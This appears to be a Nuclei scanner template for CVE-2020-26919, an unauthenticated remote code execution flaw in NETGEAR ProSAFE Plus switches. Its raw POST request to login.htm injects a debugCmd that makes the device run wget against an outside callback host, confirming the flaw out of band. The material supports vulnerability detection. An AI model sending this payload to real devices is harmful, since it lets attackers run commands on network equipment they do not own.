NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
PoC代码[已公开]
id: CVE-2020-26919
info:
name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution
author: gy741
severity: critical
description: NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
remediation: |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
reference:
- https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2020-26919
- https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-26919
epss-score: 0.93066
epss-percentile: 0.99775
cpe: cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: netgear
product: jgs516pe_firmware
tags: cve,cve2020,netgear,rce,oast,router,unauth,kev
http:
- raw:
- |
POST /login.htm HTTP/1.1
Host: {{Hostname}}
Accept: */*
submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a0046304402200aef15f8a010631805a8e8f1225c69dbfbeedc78a58f6a477985f392454e91580220568c7c8f912d8c5f505ba875fa2a0b0b8b4a2398c18d50d63123e650ee284444:922c64590222798bb761d5b6d8e72950